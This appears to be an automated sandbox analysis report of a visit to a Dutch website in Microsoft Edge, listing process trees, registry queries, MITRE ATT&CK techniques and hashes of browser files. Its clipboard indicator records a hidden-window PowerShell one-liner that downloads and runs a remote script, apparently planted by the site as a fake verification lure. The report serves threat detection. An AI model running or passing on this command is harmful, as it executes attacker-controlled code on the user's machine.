hxxps://relaxlounge[.]nl

Resubmissions

05/08/2026, 07:48

260805-jnb6gafh727

05/08/2026, 06:52

260805-hm64saxtgt7

Analysis

user interaction
yes
max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 06:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://relaxlounge.nl
Sample260805-hm64saxtgt

Score

7^/10

discovery

Malware Config

Signatures

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -w h "iex(irm 'enter-pverif-code.info/38dc5bc6c472e540' -UseBasicParsing)"; exit	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5044	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303863529760280"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{9F028191-262B-4426-AD23-04C79E59327C}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4620	msedge.exe
4620	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe
3844	msedge.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3844 wrote to memory of 3056	3844	msedge.exe	87
PID 3844 wrote to memory of 5044	3844	msedge.exe	88
PID 3844 wrote to memory of 2180	3844	msedge.exe	89
PID 3844 wrote to memory of 2180	3844	msedge.exe	89
PID 3844 wrote to memory of 2180	3844	msedge.exe	89
PID 3844 wrote to memory of 3284	3844	msedge.exe	90
PID 3844 wrote to memory of 3284	3844	msedge.exe	90
PID 3844 wrote to memory of 5888	3844	msedge.exe	92
PID 3844 wrote to memory of 804	3844	msedge.exe	93
PID 3844 wrote to memory of 5888	3844	msedge.exe	92
PID 3844 wrote to memory of 5888	3844	msedge.exe	92
PID 3844 wrote to memory of 804	3844	msedge.exe	93
PID 3844 wrote to memory of 804	3844	msedge.exe	93
PID 3844 wrote to memory of 4740	3844	msedge.exe	95
PID 3844 wrote to memory of 4740	3844	msedge.exe	95
PID 3844 wrote to memory of 4740	3844	msedge.exe	95
PID 3844 wrote to memory of 864	3844	msedge.exe	96
PID 3844 wrote to memory of 864	3844	msedge.exe	96
PID 3844 wrote to memory of 864	3844	msedge.exe	96
PID 3844 wrote to memory of 5640	3844	msedge.exe	97
PID 3844 wrote to memory of 5640	3844	msedge.exe	97
PID 3844 wrote to memory of 5636	3844	msedge.exe	99
PID 3844 wrote to memory of 5636	3844	msedge.exe	99
PID 3844 wrote to memory of 3024	3844	msedge.exe	98
PID 3844 wrote to memory of 3024	3844	msedge.exe	98
PID 3844 wrote to memory of 3384	3844	msedge.exe	101
PID 3844 wrote to memory of 4892	3844	msedge.exe	109
PID 3844 wrote to memory of 5560	3844	msedge.exe	110
PID 3844 wrote to memory of 5216	3844	msedge.exe	111
PID 3844 wrote to memory of 5160	3844	msedge.exe	119
PID 3844 wrote to memory of 5160	3844	msedge.exe	119
PID 3844 wrote to memory of 4620	3844	msedge.exe	122

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://relaxlounge.nl
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2a8,0x7ffc25c3c188,0x7ffc25c3c194,0x7ffc25c3c1a0
  2⤵
  PID:3056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1952,i,9744664260643397316,18215302116780834760,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:3
  2⤵
  - System Time Discovery
  PID:5044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,184602890129535954,8358224910445731295,262144 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
  2⤵
  PID:2180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2612,i,7986381339641027870,13375003212905832279,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:8
  2⤵
  PID:3284
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,6896166314300002838,10879282016687904249,2097152 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:5888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3472,i,15764710679965080811,12890915008537479608,2097152 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
  2⤵
  PID:804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4968,i,17854119811581785453,6416004851718009422,2097152 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:1
  2⤵
  PID:4740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5100,i,133444345785052064,16717388116448682218,2097152 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:1
  2⤵
  PID:864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,5686931098053047044,18418452356968799329,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  PID:5640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5692,i,15881799096431163678,4723180380466114912,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:8
  2⤵
  PID:3024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5704,i,11531374401188925749,7362065014696974084,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:8
  2⤵
  PID:5636
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,4332093379316053992,11298771045870346510,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:8
  2⤵
  PID:2936
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,4332093379316053992,11298771045870346510,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:8
  2⤵
  PID:3384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,13180004731315663862,4947222713259682026,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:8
  2⤵
  PID:4892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,5080188797150914826,13908100770660021623,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=6836 /prefetch:8
  2⤵
  PID:5560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6480,i,3805083401830281617,8648164274571907174,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=6920 /prefetch:8
  2⤵
  PID:5216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3216,i,1644297994694054676,15456211028102232337,524288 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=6908 /prefetch:8
  2⤵
  PID:5160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1712,i,5140201185110909643,3921729060167636778,262144 --field-trial-handle=2292,i,3433412166091853514,13069404964401473236,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4620

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9300dc4b11c647d4484e20f994dffbbd9939379d590fc7dedf9875372c431ce1
MD5 b031933009b03b3dcfc6f363760f83dd
SHA1 a9d3126d19c73dafd7e12a688bb3a802627790ee
SHA512 f606a12a9a0879bb3f7d6c9bcb6e3754434b9f0d8f1d351e8104aef087c326f689af5174eddcb6a3cd1f1d07864ff544fc76e73f8b76bf6d4330e19666cb7b28
TLSH
T18FD012BA2A4E7010F26D4A31B416CB00776D15A12852A705E22D944C99A90A562C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8da58a9b03c676d64167caf3657c5315a0b78038e3ae23bfef432a40d8d22290
MD5 81f1d957977f2d73471366011b7128bf
SHA1 c3403bfa34ee45b494966cf8be9bed08da2c5168
SHA512 171afd7f20b750bc0bdc1fc9fd4cf14984e63031e562c60a7b1bab3112c84572ebc63669b744e0e5399b2f5453039fb86937cf7ab417a72da7f1ad931c88f0c5
TLSH
T152D012B62A4A7010F2694A31B456CB00776D15A12852A705E26D945C99A90A566C62C6
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 23f6e2af69a2a3a2ad073876fad3882db1136d2a29ad167a3de8b1e6f4d07963
MD5 e464aaf384066b0a93b8e218681d0c90
SHA1 ebc47cc6baea28ae9b9050914ab7864bcfc405b6
SHA512 6d780ffb3056b6812478877746b92313f3fb5bec6f18767a5c10f84bcca81bb99b0e37abf6d249d5460851b2a44c30d8667ab46602f0c6c55e67ac9e5a48894d
TLSH
T1BCE022AACC22EC3708FE0718A01D8656E70123272A40995F3A3C921C8FB0A2A45DAC9D
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 f0eaebd6769bb4f7be45b283b88373d84c450a1f52e474a41ad6ba8f7e0a68bb
MD5 5facb077501948c493e73ec410252e6f
SHA1 872f3b58e5b01aeac3a5605e2300c177884f567c
SHA512 6bbe8fa7726ebe7a42b943b9db158f611020fabea9b24f88ee5b619cde008fbad955c2358ae94cfefd1c50236ca66e05d380e30dadf13347b68fe2eef41c2acb
SSDEEP 48:8GzVWsq1/blOsNJ0r1ox6ehSAQjvh1vsrptMl2MT4tufx4ZmUuFXlTva:8GENb8s56DsrzUdD6ZmUyXda
TLSH
T11F91B23E0141ACA0EB26BDF494D3393574BEC5C9FA0BDE86EA0572321E0B38B5361244
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe591c19.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe591c19.TMP
Size 3KB
SHA256 56732c380a28a4b3bc4297c26eea9f5315a24db884c5c2dc97c49043bba659cb
MD5 464eaa2bc09043a1f103c089999cf05f
SHA1 ae09d2a1c8140eefadfa7fdac64498845fabd4e9
SHA512 a6b71f045a2a6957ae23f9ddd747595a92bde188adaf20cf2fab0ba856dc7f68951ff7c4b1841e0de5683de9f0d431aa5fbedaaab17c302c91091036af6c4488
TLSH
T183712A3E05016C60E7257CF5A8E37639B8BEC5C9FA1BDE54C50035375E1B35B4329288
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 13KB
SHA256 dda9c68fd77e201a6390f51c7c9c253e26ef07e7074b70a85e9f21a41444fbe8
MD5 e91be45404b534cffd32eb4ef14c842e
SHA1 50343bc8aa094c790ad0cdc46fdfc745e315a58f
SHA512 98bba9bf13d2938155e50c8fce881f87f18892147dd1aa20d37cf11d07644a198214b35ab9b0f40505cd9bca04bb8914f233e31f80aede0a4f89f65c73d5f9f9
SSDEEP 384:D1VU0qJjteYn9KeVsBeXDBLGX0TekoaaiGyVaXgYo3hyBQmZGW4br3c69Tuw4Ps5:/6r5F
TLSH
T1D3528CAAC3D8856DCD5512F0E7183D1FCD5905245638385B89ECFE8E93D7872E242E4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 e046fce49cb5248ae68b0421228acff1d448f3db07737590c0548f0a3564cf37
MD5 0d232a47c709bfba67897e310d611ada
SHA1 8eedcd0d26bb3f170b41eb52ee58d12a706e742d
SHA512 21cc5a85351e216e0b555b6f78bb856f6c19367ad91c9011b1380be03de95acc33820ebeaa5e10a07e318f295579cd6e2e2ddec9871a23584fd218f5ba4db23c
SSDEEP 192:sxZwvRpyMqZjK1Ml8MkXC/f3kssRsQaZdcYzodph8HW6+WNMKC/Yvqu+HGuKIgjJ:sxZOqMy/f0ssRsQazIGHbE/bwjJ
TLSH
T11262D8166A385D77CCDBD219F6457B53D2F91133A1904E44A9FC9A1C00E7BED221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 facf6faa963d05720a9d824aad8ffda3665b14fe7c6c592b5bac7fffbf85d75d
MD5 c577f1c1bf491dd62580118bb5ddd0ef
SHA1 2ca214d1ad04f29aa8a5fb7d0c73e025b4556a22
SHA512 30c83e303064839d0e65b9f1fdda7e027290e4ea136774150a63bf97cfec095faf43ac82fbda9ed60cc03fadfb79a46bd1c88b216e9f6e39a22a98f3cc382e21
SSDEEP 192:sxZwvRpyMqZjK1Ml8UQ/kXC/f3ksWswZdcYzodph8HW6+WNMElhYvd+dGuKIg5Qf:sxZOqqsy/f0sWswzIGHbthjw6dJ
TLSH
T11862E7166A385D7BCCDBD219F6457B53D2F91173A2904E48A9FC9A1C00E7BED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 d3ed28410c95bcdd49b775e999633ec95a9fd79e43121075d441a0e078c22041
MD5 f69e750b13c549c16996bde771106f07
SHA1 f3ce7bce220e59cf4ead817ef6423038f0d78324
SHA512 f942c9f08562a4828ba0e5eddd4688fc3995511e90fac2e939ef5f22ba5105f580b294d4c4e56e3adef92b0304627a7501a96a18e13b795a929ffee8b420600b
SSDEEP 768:ZYsv8Od/hWvFvmX8F1+UoAYDCx9Tuqh0VfUC9xbog/OVA0LlEe9NsQroIRLO:eY8Od/hWvFvmXu1ja10Lm2NuIq
TLSH
T19BD20B3B680CCB7E4F840D9DEC2A6F966DD801CB66984D5447FA884C03C77EB521B59B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 3ee80597280853c540a1c91d7f8ff5229f7c94094a67dee18928f5f9cd582500
MD5 e108bc73a48af1920734d304580fc1e7
SHA1 eb5cfd1ef6475b21ff67a7027a28b02986c40c96
SHA512 5d8bd0d0fb31c9f7e48719d2b2160d12f529577212f598c0bcd6574b6a5bf47de851d3013938430e531add3128f765b2c1a96815d2e1653877bdfbc45049aa46
SSDEEP 384:0LppY93PBZJPtN53ATy3jJlZEdQ3bvV7RMrbAxzdb:0LppY93PBZJPtN53ATy3jJlZEdQ3bvVH
TLSH
T163B2695A703E0211393E2988B39696364F4235A33058E4EF7FB814A54F67E225CFD8ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
